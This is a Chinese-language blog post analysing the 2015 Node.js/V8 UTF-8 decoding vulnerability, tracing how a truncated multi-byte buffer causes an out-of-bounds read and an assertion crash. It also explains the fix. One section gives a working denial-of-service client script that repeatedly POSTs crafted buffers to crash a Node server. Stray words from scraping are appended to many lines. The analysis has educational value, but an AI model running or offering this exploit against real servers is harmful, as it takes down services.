聊聊Node.js 獨立日漏洞

背景

Node.js 社區近期在美國獨立日週末的狂歡之時爆出漏洞
https://medium.com/@iojs/important-security-upgrades-for-node-js-and-io-js-8ac14ece5852javascript

先給出一段會觸發該漏洞的代碼html

http://img3.tbcdn.cn/L1/461/1/d5401fbf1e68213766c920c6ee0377ae18710276

直接在v0.12.4版本的node上運行,當即crash。java

http://gtms03.alicdn.com/tps/i3/TB1EwJ8IFXXXXXSaXXXbL4aIXXX-780-130.png

下面咱們詳細的分析下該漏洞的原理。node

調用棧

上面的代碼構造了一個長度爲1025的buffer,而後調用該buffer的toString方法解碼成utf8字符,平時開發中再日常不過的調用了。可是爲何在這裏會致使crash呢,和平時的寫法到底有什麼差異?c++

示例代碼雖少,可是裏面涉及到的各類調用可很多,從js到node中的c++,再到更底層的v8調用。大體過程以下圖所示。git

關鍵調用

致使該漏洞產生的有幾個比較關鍵的調用過程。github

Utf8DecoderBase::Reset

每個Utf8DecoderBase類實例化的對象都有一個私有的屬性buffer_,web

private:

  uint16_t buffer_[kBufferSize];

其中utfDecoder的kBufferSize設置爲512,buffer_用作存儲解碼後的utf8字符緩衝區。這裏須要注意的是512不是字節數,而是字符數,有些utf8字符只須要一個這樣的字符就能表示,有些則須要2個。示例代碼中構造buffer用的微笑字符則須要2個這樣的字符來表示,4個字節來存儲。因此buffer_能存儲的字節數是512*2=1024。json

若是待解碼的buffer長度不超過1024時,在buffer_中就能徹底被解碼完。解碼到buffer_的字符經過調用v8::internal::OS::MemCopy(data, buffer_, memcpy_length*sizeof(uint16_t))被拷貝到返回給node使用的字符串內存區。服務器

Utf8DecoderBase::WriteUtf16Slow

可是當待解碼的buffer長度超過1024個字節時,前1024個字節解碼後仍是經過上面講的buffer_緩衝區存儲,剩餘待解碼的字符則交給Utf8DecoderBase::WriteUtf16Slow處理。

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
                                     uint16_t* data,
                                     unsigned data_length) {
  while (data_length != 0) {
    unsigned cursor = 0;
    uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);
    // There's a total lack of bounds checking for stream
    // as it was already done in Reset.
    stream += cursor;
    if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {
      *data++ = Utf16::LeadSurrogate(character);
      *data++ = Utf16::TrailSurrogate(character);
      DCHECK(data_length > 1);
      data_length -= 2;
    } else {
      *data++ = character;
      data_length -= 1;
    }
  }
}

WriteUtf16Slow對剩餘的待解碼buffer調用 Utf8::ValueOf進行解碼, 調用Utf8::ValueOf時每次輸出一個utf8字符。其中data_length表示還須要解碼的字符數(注意不是utf8字符個數,而是uint16_t的個數),直至剩餘的data_length個字符所有被解碼。

Utf8::ValueOf

上面講到調用Utf8::ValueOf從剩餘buffer中解碼出一個utf8字符,當這個utf8字符須要多個字節存儲時,便會調用到Utf8::CalculateValue, Utf8::CalculateValue根據utf8字符的編碼規則從buffer中解析出一個utf8字符。關於utf8編碼的詳細規則能夠參考阮一峯老師博客的文章《字符編碼筆記:ASCII,Unicode和UTF-8》,裏面很是詳細的講解了utf8的編碼規則。

uchar Utf8::CalculateValue(const byte* str,
                           unsigned length,
                           unsigned* cursor)

其中第一個參數表示待解碼的buffer,第二個參數表示還能夠讀取的字節數,最後一個參數cursor表示解析結束後buffer的偏移量,也就是該utf8字符所佔字節數。

實例分析

簡單的講解了實例代碼執行時的調用鏈路後,咱們再結合示例代碼進行具體的調用分析。

buffer建立

首先示例代碼使用一個佔用4字節的微笑字符,構造出一個長度爲257*4=1028的buffer,接着又調用slice(0,-3)去除最後面的3個字節,以下圖所示。

buffer解碼

而後調用buffer.toString()方法,將buffer解碼爲utf的字符串。因爲待解碼的字符長度爲1025,因此前1024個字節會在Utf8DecoderBase::Reset中解碼出512個字符(216個表情)到buffer_中,剩餘的一個buffer 0xf0被傳入到Utf8DecoderBase::WriteUtf16Slow中繼續解碼。

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
                                     uint16_t* data,
                                     unsigned data_length);

stream爲待解碼的buffer,data存儲解碼後的字符,data_length表示待解碼的字符數。此時buffer_緩衝區中的512個字符已被copy到data中。

last buffer

剩餘的最後一個buffer 0xf0交給Utf8DecoderBase::WriteUtf16Slow處理,經過調用Utf8::ValueOf進行解碼。

最後一個字節的二進制爲(0xf0).toString(2)='11110000',根據utf8編碼規則,是一個佔用4字節的utf8字符的起始字節,因而繼續調用Utf8::CalculateValue讀取後面的字符。

因爲以前完整的buffer被截掉了3個字節,因此理想狀況下再次讀取下一個字節時讀到0x00, 二進制爲(0x00).toString(2)='00000000'。很明顯,不符合utf8規則預期的字節10xxxxxx,函數返回kBadChar(0xFFFD)。至此整個解碼結束,程序無crash。

終於crash

上面說到了理想狀況,但實際中因爲V8引擎的內存管理策略,讀完最後一個buffer再繼續讀取下一個字節時極可能會讀到髒數據(根據我打印的log發現讀取到髒數據的機率很是高,log詳情), 若是繼續讀取到髒數據恰好和最後一個字節組合一塊兒知足utf8編碼規則(這個機率也很高),此時便讀取到了一個合法的utf8字符(two characters),而理想狀況應該讀取到的是kBadChar(one character),那這又會產生什麼問題呢?

咱們再回到Utf8DecoderBase::WriteUtf16Slow的調用上

void Utf8DecoderBase::WriteUtf16Slow(const uint8_t* stream,
                                     uint16_t* data,
                                     unsigned data_length) {
  while (data_length != 0) {
    unsigned cursor = 0;
    uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor);
    // There's a total lack of bounds checking for stream
    // as it was already done in Reset.
    stream += cursor;
    if (character > unibrow::Utf16::kMaxNonSurrogateCharCode) {
      *data++ = Utf16::LeadSurrogate(character);
      *data++ = Utf16::TrailSurrogate(character);
      DCHECK(data_length > 1);
      data_length -= 2;
    } else {
      *data++ = character;
      data_length -= 1;
    }
  }
}

此時data_length=1, 調用uint32_t character = Utf8::ValueOf(stream, Utf8::kMaxEncodedSize, &cursor),讀取到知足編碼規則的髒數據後if條件知足,因而執行DCHECK(data_length > 1),而此時data_length=1,斷言失敗,進程退出( 但在個人mac系統上並無由於斷言失敗退出,此時繼續執行data_length-=2, data_length=-1,while循環沒法退出,產生bus error進程crash)。

define DCHECK(condition) do {                                       \
    if (!(condition)) {                                             \
      V8_Fatal(__FILE__, __LINE__, "CHECK(%s) failed", #condition); \
    }                                                               \
  } while (0)

設計攻擊方案

瞭解漏洞原理後,設計一個攻擊方案就簡單不少了,只要有涉及到buffer操做的地方均可以產生攻擊,web開發中常見的就是服務器攻擊了,下面咱們利用這個漏洞設計一個服務器的攻擊方案,致使被攻擊服務器進程crash,沒法正常提升服務。

web開發中常常會有post請求,而node服務器接收post請求時發生到服務器的數據,必然會使用到buffer,因此主要方案就是向node服務器不斷的post惡意構造的buffer。

server

使用原生http模塊啓動一個能夠接收post數據的服務器

var http = require('http');

http.createServer(function(req, res){
    if(req.method == 'POST') {
        var buf = [], len = 0;
        req.on('data', function(chunk){
            buf.push(chunk);
            len += chunk.length;
        });

        req.on('end', function(){
            var str = Buffer.concat(buf,len).toString();
            res.end(str);   
        });
    }else {
        res.end('node');
    }
}).listen(3000);

client

因爲讀取髒內存的數據而且須要知足utf8編碼規則存在必定的機率,因此客戶端得不斷的向服務器post,爲了加快服務器crash,咱們發送稍微大點的buffer

var net = require('net');
var CRLF = '\r\n';

function  send () {
    var connect = net.connect({
            'host':'127.0.0.1',
            'port':3000
        });
    sendRequest(connect,'/post');
}

send();

setInterval(function(){
    send()
},100);


function sendRequest(connect, path) {   
    var smile = Buffer(4);
    smile[0] = 0xf0;
    smile[1] = 0x9f;
    smile[2] = 0x98;
    smile[3] = 0x8a;
    smile = smile.toString();
    var buf = Buffer(Array(16385).join(smile)).slice(0,-3);
    connect.write('POST '+path+' HTTP/1.1');
    connect.write(CRLF);
    connect.write('Host: 127.0.0.1');
    connect.write(CRLF);
    connect.write('Connection: keep-alive');
    connect.write(CRLF);
    connect.write('Content-Length:'+buf.length);
    connect.write(CRLF);
    connect.write('Content-Type: application/json;charset=utf-8');
    
    connect.write(CRLF);
    connect.write(CRLF);
    connect.write(buf);
}

啓動服務器後,執行client腳本發現服務器很快就crash了。

漏洞修復

瞭解漏洞原理後修復其實很是簡單,主要緣由就是調用Utf8::ValueOf解析字符時會讀取到符合編碼規則的髒數據,而這個是由於傳入的第二個參數是常量4,即便最後只剩一個字節時還繼續讀取。node官方的作法是調用此方法時傳入剩餘待解碼的字節數,這樣解析到最後一個字節時就不會繼續讀取到髒數據,天然也就不會形成斷言失敗或者死循環致使進程crash了。

參考資料

更多精彩內容https://github.com/hustxiaoc/node.js/issues/9

相關文章
相關標籤/搜索